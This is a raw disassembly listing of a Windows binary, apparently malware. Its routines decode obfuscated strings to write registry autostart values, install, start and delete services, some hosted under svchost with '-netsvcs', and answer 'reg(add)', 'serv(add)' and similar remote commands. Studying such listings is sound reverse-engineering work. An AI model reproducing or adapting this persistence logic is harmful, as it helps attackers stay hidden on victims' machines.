		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		mov	ebp, dword_50F754
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 29D0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2990272h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 29D0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2990272h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 29D0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2990272h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 29D0000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2990272h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_401681
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_401681
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_401681
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 29D0000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		call	near ptr 2990272h
		nop
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E820	proc near		; CODE XREF: sub_401447j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E820
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019B5
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019B5
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40200E
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		mov	esi, dword_50F754
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_50F764
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_50F738
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017E4
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_401681
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E820	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ECB0	proc near		; CODE XREF: sub_401497j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ECB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C5D
		push	eax
		nop
		call	near ptr 2870B67h
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_401424
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017E4
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_443684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_401424
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402153
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226


loc_40ED7F:				; DATA XREF: Themida_:005FE5E8o
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ECB0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EDF0	proc near		; CODE XREF: sub_402153j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EDF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	near ptr 2990BE0h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE2F
		xor	al, al
		jmp	loc_40EF80
; ---------------------------------------------------------------------------


loc_40EE2F:				; CODE XREF: sub_40EDF0+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_401424
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017E4
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017E4
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_447834
		call	sub_4017E4
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 29A0000h
		nop
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF15
		nop
		call	near ptr 28407DEh
		cmp	eax, 431h
		jnz	short loc_40EEF9
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401942
		mov	esi, dword_50F74C
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401497
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EF80
; ---------------------------------------------------------------------------


loc_40EEF9:				; CODE XREF: sub_40EDF0+CBj
		push	edi
		nop
		call	near ptr 29A0393h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF80
; ---------------------------------------------------------------------------


loc_40EF15:				; CODE XREF: sub_40EDF0+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		nop
		call	near ptr 29A0625h
		test	eax, eax
		push	esi
		mov	esi, dword_50F74C
		jnz	short loc_40EF6C
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EF80
; ---------------------------------------------------------------------------


loc_40EF6C:				; CODE XREF: sub_40EDF0+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EF80:				; CODE XREF: sub_40EDF0+3Aj
					; sub_40EDF0+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EDF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F010	proc near		; CODE XREF: sub_401942j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2990BE0h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F037
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F037:				; CODE XREF: sub_40F010+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		call	near ptr 2930687h
		nop
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F064
		push	edi
		nop
		call	near ptr 29A0393h
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F064:				; CODE XREF: sub_40F010+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29907C2h
		push	esi
		nop
		call	near ptr 2990AA3h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F0B0	proc near		; CODE XREF: sub_401FB4j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2990BE0h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0CF
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0CF:				; CODE XREF: sub_40F0B0+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 2930687h
		test	eax, eax
		jnz	short loc_40F0F6
		push	esi
		nop
		call	near ptr 29A0393h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F0F6:				; CODE XREF: sub_40F0B0+37j
		push	edi
		mov	edi, dword_50F74C
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F0B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F130	proc near		; CODE XREF: sub_401FDCj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2990BE0h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F151
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F151:				; CODE XREF: sub_40F130+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017E4
		push	eax
		push	edi
		nop
		call	near ptr 2930687h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F17B
		push	edi
		nop
		call	near ptr 29A0393h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F17B:				; CODE XREF: sub_40F130+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 2990000h
		push	esi
		mov	esi, dword_50F74C
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F130	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F1C0:				; CODE XREF: ___:loc_4014A1j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_4390E8
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F2BA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401726
		test	al, al
		jz	short loc_40F286
		lea	ecx, [esp+0Ch]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017E4
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 1Ch


loc_40F286:				; CODE XREF: ___:0040F247j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F2BA:				; CODE XREF: ___:0040F1F6j
		lea	ecx, [edi+47h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F359
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401447
		test	al, al
		jz	short loc_40F332
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_40F332:				; CODE XREF: ___:0040F2FDj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F359:				; CODE XREF: ___:0040F2CCj
		lea	ecx, [edi+75h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F46F
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402153
		test	al, al
		jz	short loc_40F42D
		lea	ecx, [esp+24h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017E4
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 20h


loc_40F42D:				; CODE XREF: ___:0040F3E4j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F46F:				; CODE XREF: ___:0040F36Bj
		lea	ecx, [edi+0A3h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F511
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401942
		test	al, al
		jz	short loc_40F4EA
		lea	ecx, [esp+54h]
		call	sub_4017E4
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D6075
		call	sub_401848
		add	esp, 18h


loc_40F4EA:				; CODE XREF: ___:0040F4B5j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F511:				; CODE XREF: ___:0040F484j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
